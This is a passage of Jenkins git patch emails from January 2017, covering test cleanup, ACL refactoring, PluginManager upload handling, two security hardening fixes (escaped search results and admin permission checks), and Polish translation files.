                                - åƒè€ƒé€™ä»½æ–‡ä»¶ï¼Œ + åƒè€ƒé€™ä»½æ–‡ä»¶ï¼Œ å¯ä»¥çœ‹åˆ°æ›´å¤šæœ‰é—œå®‰å…¨æ€§åŠ Jenkins 的資訊。 - \ No newline at end of file + -- GitLab From 258b893e1f5ad45de9ccb996d4dd083df2875687 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 4 Jan 2017 10:09:59 -0500 Subject: [PATCH 489/712] Using standard MockAuthorizationStrategy. --- .../src/test/java/hudson/model/ItemsTest.java | 221 +----------------- 1 file changed, 1 insertion(+), 220 deletions(-) diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 9a1ad9cc53..15e97bad9a 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -34,24 +34,13 @@ import hudson.cli.CLICommandInvoker; import hudson.cli.CopyJobCommand; import hudson.cli.CreateJobCommand; import hudson.security.ACL; -import hudson.security.AuthorizationStrategy; -import hudson.security.Permission; -import hudson.security.SidACL; import hudson.security.csrf.CrumbIssuer; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.net.URL; -import java.util.ArrayList; import java.util.Arrays; -import java.util.Collection; -import java.util.Collections; -import java.util.HashSet; -import java.util.List; -import java.util.Set; -import java.util.regex.Pattern; import jenkins.model.Jenkins; -import org.acegisecurity.acls.sid.Sid; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.httpclient.HttpStatus; @@ -62,6 +51,7 @@ import org.junit.Rule; import org.junit.rules.TemporaryFolder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; public class ItemsTest { @@ -269,213 +259,4 @@ public class ItemsTest { } } - // TODO delete in 1.651+ and use standard version - /** - * An authorization strategy configured in a fluent style from test code. - * Install using {@link Jenkins#setAuthorizationStrategy}. - * You probably also want to call {@link Jenkins#setSecurityRealm} on {@link JenkinsRule#createDummySecurityRealm}. - */ - private static class MockAuthorizationStrategy extends AuthorizationStrategy { - - private final List grantsOnTo = new ArrayList(); - - /** Creates a new strategy granting no permissions. */ - public MockAuthorizationStrategy() {} - - /** - * Begin granting a set of permissions. - * Note that grants cannot be subsequently revoked, but you could reset the strategy to a newly configured one. - * @param permissions which permissions to grant ({@link Permission#impliedBy} is honored) - */ - public Grant grant(Permission... permissions) { - Set effective = new HashSet(Arrays.asList(permissions)); - boolean added = true; - while (added) { - added = false; - for (Permission p : Permission.getAll()) { - added |= effective.contains(p.impliedBy) && effective.add(p); - } - } - return new Grant(effective); - } - - /** - * Like {@link #grant} but does not honor {@link Permission#impliedBy}. - */ - public Grant grantWithoutImplication(Permission... permissions) { - return new Grant(new HashSet(Arrays.asList(permissions))); - } - - /** - * A grant of a set of permissions. - * You must proceed to specify where they should be granted. - */ - public class Grant { - - private final Set permissions; - - Grant(Set permissions) { - this.permissions = permissions; - } - - /** - * Everywhere in Jenkins. - */ - public GrantOn everywhere() { - return onPaths(".*"); - } - - /** - * On {@code Jenkins} itself, but not any child objects. - */ - public GrantOn onRoot() { - return onPaths(""); - } - - /** - * On some items such as jobs. - * If some of these happen to be {@link ItemGroup}s, the grant is not applied to children. - */ - public GrantOn onItems(Item... items) { - String[] paths = new String[items.length]; - for (int i = 0; i < items.length; i++) { - paths[i] = Pattern.quote(items[i].getFullName()); - } - return onPaths(paths); - } - - /** - * On some item groups, typically folders. - * The grant applies to the folder itself as well as any (direct or indirect) children. - */ - public GrantOn onFolders(ItemGroup... folders) { - String[] paths = new String[folders.length]; - for (int i = 0; i < folders.length; i++) { - paths[i] = Pattern.quote(folders[i].getFullName()) + "(|/.+)"; - } - return onPaths(paths); - } - - /** - * On some item path expressions. - * Each element is an implicitly rooted regular expression. - * {@code Jenkins} itself is {@code ""}, a top-level job would be {@code "jobname"}, a nested job would be {@code "folder/jobname"}, etc. - * Grants are not implicitly applied to child objects. - */ - public GrantOn onPaths(String... pathRegexps) { - StringBuilder b = new StringBuilder(); - boolean first = true; - for (String rx : pathRegexps) { - if (first) { - first = false; - } else { - b.append('|'); - } - b.append("(?:").append(rx).append(')'); - } - return new GrantOn(b.toString()); - } - - /** - * A grant of some permissions in certain places. - * You must proceed to specify to whom the grant is made. - */ - public class GrantOn { - - private final Pattern regexp; - - GrantOn(String regexp) { - this.regexp = Pattern.compile(regexp); - } - - /** To some users or groups. */ - public MockAuthorizationStrategy to(String... sids) { - return new GrantOnTo(new HashSet(Arrays.asList(sids))).add(); - } - - /** To some users. */ - public MockAuthorizationStrategy to(User... users) { - String[] sids = new String[users.length]; - for (int i = 0; i < users.length; i++) { - sids[i] = users[i].getId(); - } - return to(sids); - } - - /** To everyone, including anonymous users. */ - public MockAuthorizationStrategy toEveryone() { - return to(/* SidACL.toString(ACL.EVERYONE) */"role_everyone"); - } - - /** To all authenticated users. */ - public MockAuthorizationStrategy toAuthenticated() { - return to(/* SecurityRealm.AUTHENTICATED_AUTHORITY */"authenticated"); - } - - private class GrantOnTo { - - private final Set sids; - - GrantOnTo(Set sids) { - this.sids = sids; - } - - MockAuthorizationStrategy add() { - grantsOnTo.add(this); - return MockAuthorizationStrategy.this; - } - - boolean matches(String path, String name, Permission permission) { - return regexp.matcher(path).matches() && - sids.contains(name) && // TODO consider IdStrategy - permissions.contains(permission); - } - - } - - } - - } - - @Override - public ACL getRootACL() { - return new ACLImpl(""); - } - - @Override - public ACL getACL(AbstractItem item) { - return new ACLImpl(item.getFullName()); - } - - @Override - public ACL getACL(Job project) { - return getACL((AbstractItem) project); // stupid overload - } - - private class ACLImpl extends SidACL { - - private final String path; - - ACLImpl(String path) { - this.path = path; - } - - @Override protected Boolean hasPermission(Sid p, Permission permission) { - String name = toString(p); - for (Grant.GrantOn.GrantOnTo grantOnTo : grantsOnTo) { - if (grantOnTo.matches(path, name, permission)) { - return true; - } - } - return null; // allow groups to be checked after users, etc. - } - - } - - @Override - public Collection getGroups() { - return Collections.emptySet(); // we do not differentiate usernames from groups - } - } - } -- GitLab From 8be14a7e3c4f2351dbfebe3992d57338cbebee4d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 4 Jan 2017 10:14:38 -0500 Subject: [PATCH 490/712] Switching to ACL.as. --- core/src/main/java/hudson/model/Items.java | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index bd07c36c3b..a30d459bd4 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -52,8 +52,6 @@ import javax.annotation.Nonnull; import jenkins.model.DirectlyModifiableTopLevelItemGroup; import jenkins.model.Jenkins; import org.acegisecurity.Authentication; -import org.acegisecurity.context.SecurityContext; -import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.io.FileUtils; import org.apache.commons.lang.StringUtils; @@ -633,11 +631,8 @@ public class Items { */ static void verifyItemDoesNotAlreadyExist(@Nonnull ItemGroup parent, @Nonnull String newName, @CheckForNull Item variant) throws IllegalArgumentException, Failure { Item existing; - SecurityContext orig = ACL.impersonate(ACL.SYSTEM); - try { + try (ACLContext ctxt = ACL.as(ACL.SYSTEM)) { existing = parent.getItem(newName); - } finally { - SecurityContextHolder.setContext(orig); } if (existing != null && existing != variant) { if (existing.hasPermission(Item.DISCOVER)) { -- GitLab From 8c54dd3dac54f8a9fbdbfc1a530083abc551e2dc Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Wed, 4 Jan 2017 09:07:04 -0700 Subject: [PATCH 491/712] Add comment about hackiness --- Jenkinsfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Jenkinsfile b/Jenkinsfile index 1516d29068..16259bc1c7 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -97,6 +97,8 @@ void withMavenEnv(List envVars = [], def body) { } } +// This hacky method is used because File is not whitelisted, +// so we can't use renameTo or friends void renameFiles(def files, String prefix) { for(i = 0; i < files.length; i++) { def newPath = files[i].path.replace(files[i].name, "${prefix}-${files[i].name}") -- GitLab From b52a57cc0b8013532be3d4477246c1f54bba6992 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Wed, 4 Jan 2017 19:01:44 +0100 Subject: [PATCH 492/712] Refactor PluginManager advanced page handling a bit --- core/src/main/java/hudson/PluginManager.java | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index c0f08883e7..e46068ab10 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -67,6 +67,7 @@ import net.sf.json.JSONObject; import org.acegisecurity.Authentication; import org.apache.commons.fileupload.FileItem; +import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.commons.io.FileUtils; @@ -1524,10 +1525,9 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas } sites.add(new UpdateSite(UpdateCenter.ID_DEFAULT, site)); - return HttpResponses.redirectToContextRoot(); + return new HttpRedirect("advanced"); } - @RequirePOST public HttpResponse doProxyConfigure(StaplerRequest req) throws IOException, ServletException { Jenkins jenkins = Jenkins.getInstance(); @@ -1555,7 +1555,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory()); // Parse the request - FileItem fileItem = (FileItem) upload.parseRequest(req).get(0); + FileItem fileItem = upload.parseRequest(req).get(0); String fileName = Util.getFileName(fileItem.getName()); if("".equals(fileName)){ return new HttpRedirect("advanced"); @@ -1568,7 +1568,12 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas // first copy into a temporary file name File t = File.createTempFile("uploaded", ".jpi"); t.deleteOnExit(); - fileItem.write(t); + try { + fileItem.write(t); + } catch (Exception e) { + // Exception thrown is too generic so at least limit the scope where it can occur + throw new ServletException(e); + } fileItem.delete(); final String baseName = identifyPluginShortName(t); @@ -1604,9 +1609,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas element("dependencies", dependencies); new UpdateSite(UpdateCenter.ID_UPLOAD, null).new Plugin(UpdateCenter.ID_UPLOAD, cfg).deploy(true); return new HttpRedirect("../updateCenter"); - } catch (IOException e) { - throw e; - } catch (Exception e) {// grrr. fileItem.write throws this + } catch (FileUploadException e) { throw new ServletException(e); } } -- GitLab From 95e02d4ca42e6dcb7b62ba44df6e10d070582464 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Wed, 4 Jan 2017 14:57:14 -0800 Subject: [PATCH 493/712] Fix a minor typo typos in the JNLP TCP Port help text --- .../GlobalSecurityConfiguration/help-slaveAgentPort.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html index 69a4760025..8681f55f8f 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html @@ -1,7 +1,7 @@

                                - Jenkins uses a TCP port to communicate with agent agents launched via JNLP. + Jenkins uses a TCP port to communicate with agents launched via JNLP. Normally this port is chosen randomly to avoid collisions, but this would make securing the system difficult. If you are not using JNLP agents, it's recommend to disable this TCP port. Alternatively, you can specify the fixed port number so that you can configure your firewall accordingly. -
                                \ No newline at end of file + -- GitLab From e45a703665c728fcaf46246838b757b546988955 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 5 Jan 2017 20:06:23 +0100 Subject: [PATCH 494/712] [SECURITY-385] Minor test improvement --- test/src/test/java/hudson/search/SearchTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/search/SearchTest.java b/test/src/test/java/hudson/search/SearchTest.java index 74e26678d8..da324c6aed 100644 --- a/test/src/test/java/hudson/search/SearchTest.java +++ b/test/src/test/java/hudson/search/SearchTest.java @@ -36,6 +36,7 @@ import java.io.IOException; import java.net.URL; import java.util.ArrayList; +import java.util.Collections; import java.util.List; import hudson.model.User; @@ -412,7 +413,7 @@ public class SearchTest { List results = new ArrayList<>(); j.jenkins.getSearchIndex().suggest("foo", results); - assertEquals("empty results list", 0, results.size()); + assertEquals("empty results list", Collections.emptyList(), results); } }); } -- GitLab From 9d29d65033ee71af4109dd15bcb0d02f3a0694e0 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:12:04 +0300 Subject: [PATCH 495/712] [FIXED JENKINS-40863] Don't use javax.servlet imports for remoting call Signed-off-by: Kanstantsin Shautsou --- core/src/main/java/hudson/tasks/Shell.java | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index bdd3ca44cf..1986e2dea7 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -24,7 +24,6 @@ package hudson.tasks; import hudson.FilePath; -import hudson.Functions; import hudson.Util; import hudson.Extension; import hudson.model.AbstractProject; @@ -35,6 +34,7 @@ import java.io.ObjectStreamException; import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; +import org.apache.commons.lang.SystemUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; @@ -153,8 +153,9 @@ public class Shell extends CommandInterpreter { */ @Deprecated public String getShellOrDefault() { - if(shell==null) - return Functions.isWindows() ?"sh":"/bin/sh"; + if (shell == null) { + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; + } return shell; } @@ -229,7 +230,7 @@ public class Shell extends CommandInterpreter { private static final long serialVersionUID = 1L; public String call() throws IOException { - return Functions.isWindows() ? "sh" : "/bin/sh"; + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; } } -- GitLab From cd9915c9466bb29e76b86755c291d6cc624e140e Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:48:46 +0300 Subject: [PATCH 496/712] Remove not existed build variable --- BUILDING.TXT | 1 - 1 file changed, 1 deletion(-) diff --git a/BUILDING.TXT b/BUILDING.TXT index 09766de355..bde5cadf35 100644 --- a/BUILDING.TXT +++ b/BUILDING.TXT @@ -4,7 +4,6 @@ execution), run: mvn clean install -pl war -am -DskipTests The WAR file will be in war/target/jenkins.war (you can play with it) -You can deactivate test-harness execution with -Dskip-test-harness For more information on building Jenkins, visit https://wiki.jenkins-ci.org/display/JENKINS/Building+Jenkins -- GitLab From 7ae469770fd10c79bebc07511cd0ab1cafd33292 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 6 Jan 2017 14:26:57 -0500 Subject: [PATCH 497/712] [SECURITY-388] Escape metacharacters in the search box. --- war/src/main/webapp/scripts/hudson-behavior.js | 1 + 1 file changed, 1 insertion(+) diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index 22d85fd27e..77a4c41b34 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -2168,6 +2168,7 @@ function createSearchBox(searchURL) { var ac = new YAHOO.widget.AutoComplete("search-box","search-box-completion",ds); ac.typeAhead = false; ac.autoHighlight = false; + ac.formatResult = ac.formatEscapedResult; var box = $("search-box"); var sizer = $("search-box-sizer"); -- GitLab From 9ce5405a9197aa868bacd53b1c26ab8719764f70 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 6 Jan 2017 14:50:12 -0500 Subject: [PATCH 498/712] [SECURITY-389] Check ADMINISTER on /fingerprintCleanup and /workspaceCleanup. --- core/src/main/java/jenkins/model/Jenkins.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 65a5c9ebcf..5d45327007 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3620,6 +3620,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve @RequirePOST public void doFingerprintCleanup(StaplerResponse rsp) throws IOException { + checkPermission(ADMINISTER); FingerprintCleanupThread.invoke(); rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("text/plain"); @@ -3628,6 +3629,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve @RequirePOST public void doWorkspaceCleanup(StaplerResponse rsp) throws IOException { + checkPermission(ADMINISTER); WorkspaceCleanupThread.invoke(); rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("text/plain"); -- GitLab From b54a583a475bc13d2d34ea13026cf43bf0a6a2c1 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sun, 1 Jan 2017 15:44:42 +0100 Subject: [PATCH 499/712] Polish translations --- .../hudson/PluginManager/table_pl.properties | 3 +- .../WindowsInstallerLink/index_pl.properties | 3 +- .../logging/LogRecorder/delete_pl.properties | 23 ++++++++++++++ .../logging/LogRecorder/index_pl.properties | 22 ++++++++++++++ .../LogRecorder/sidepanel_pl.properties | 25 ++++++++++++++++ .../sidepanel_pl.properties | 27 ++++++++++++++--- .../hudson/logging/Messages_pl.properties | 23 ++++++++++++++ .../hudson/model/Messages_pl.properties | 12 ++------ .../UpdateCenter/NoOpJob/row_pl.properties | 22 ++++++++++++++ .../Details/config_pl.properties | 23 ++++++++++++++ .../hudson/security/Messages_pl.properties | 3 +- .../HudsonFailedToLoad/index_pl.properties | 22 ++++++++++++++ .../hudson/util/Messages_pl.properties | 7 +++-- .../hudson/views/Messages_pl.properties | 4 +-- .../authenticate-security-token_pl.properties | 30 +++++++++++++++++++ .../setupWizardFirstUser_pl.properties | 22 ++++++++++++++ .../footer_pl.properties | 4 +-- .../model/Jenkins/_restart_pl.properties | 24 +++++++++++++++ .../model/Jenkins/configure_pl.properties | 3 +- .../lib/form/booleanRadio_pl.properties | 23 ++++++++++++++ .../lib/form/hetero-list_pl.properties | 22 ++++++++++++++ .../lib/hudson/buildListTable_pl.properties | 5 ++-- 22 files changed, 327 insertions(+), 25 deletions(-) create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties create mode 100644 core/src/main/resources/hudson/logging/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties create mode 100644 core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties create mode 100644 core/src/main/resources/lib/form/booleanRadio_pl.properties create mode 100644 core/src/main/resources/lib/form/hetero-list_pl.properties diff --git a/core/src/main/resources/hudson/PluginManager/table_pl.properties b/core/src/main/resources/hudson/PluginManager/table_pl.properties index b6b6025d9a..475890ea44 100644 --- a/core/src/main/resources/hudson/PluginManager/table_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/table_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -32,3 +32,4 @@ Name=Nazwa No\ updates=Brak dost\u0119pnych aktualizacji Version=Wersja coreWarning=UWAGA: Ten dodatek jest przygotowany dla Jenkinsa w wersji {0} lub nowszej. Mo\u017Ce nie dzia\u0142a\u0107 poprawnie z Twoj\u0105 wersj\u0105 Jenkinsa. +Update\ Center=Centrum aktualizacji \ No newline at end of file diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties index 2a1e0f897c..11b31afa40 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016 Damian Szczepanik +# Copyright (c) 2016-2017 Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,3 +24,4 @@ Install\ as\ Windows\ Service=Zainstaluj jako us\u0142ug\u0119 systemow\u0105 Yes=Tak Install=Zainstaluj Installation\ Complete=Instalacja zako\u0144czona +installBlurb=Instalacja jako us\u0142uga systemowa pozwoli uruchamia\u0107 Jenkinsa, gdy tylko system operacyjny b\u0119dzie gotowy niezale\u017Cnie od tego, kto go b\u0119dzie u\u017Cywa\u0142. diff --git a/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties new file mode 100644 index 0000000000..bc11809b5c --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Are\ you\ sure\ about\ deleting\ this\ log\ recorder?=Czy na pewno chcesz usun\u0105\u0107 tego rejestratora log\u00F3w? +Yes=Tak diff --git a/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties new file mode 100644 index 0000000000..a3fc012d58 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Clear\ This\ Log=Usu\u0144 logi diff --git a/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties new file mode 100644 index 0000000000..378dffae6e --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Back\ to\ Loggers=Powr\u00F3t do rejestrator\u00F3w log\u00F3w +Delete=Usu\u0144 +Log\ records=Zawarto\u015B\u0107 rejestratora log\u00F3w +Configure=Skonfiguruj diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties index 7f6219d2cd..47ad32fa69 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties @@ -1,8 +1,27 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2017, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. All\ Logs=Wszystkie Logi Back\ to\ Dashboard=Powr\u00F3t do tablicy Log\ Levels=Poziom logowania -Logger\ List=Lista loger\u00F3w +Logger\ List=Lista rejestrator\u00F3w log\u00F3w Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem -New\ Log\ Recorder=Nowe Nagrywanie Log\u00F3w +New\ Log\ Recorder=Dodaj rejestratora log\u00F3w diff --git a/core/src/main/resources/hudson/logging/Messages_pl.properties b/core/src/main/resources/hudson/logging/Messages_pl.properties new file mode 100644 index 0000000000..d9a98bbf3d --- /dev/null +++ b/core/src/main/resources/hudson/logging/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +LogRecorderManager.DisplayName=Rejestrator log\u00F3w +LogRecorderManager.init=Inicjalizowanie rejestrator\u00F3w log\u00F3w diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index de4204c028..401394c96a 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ 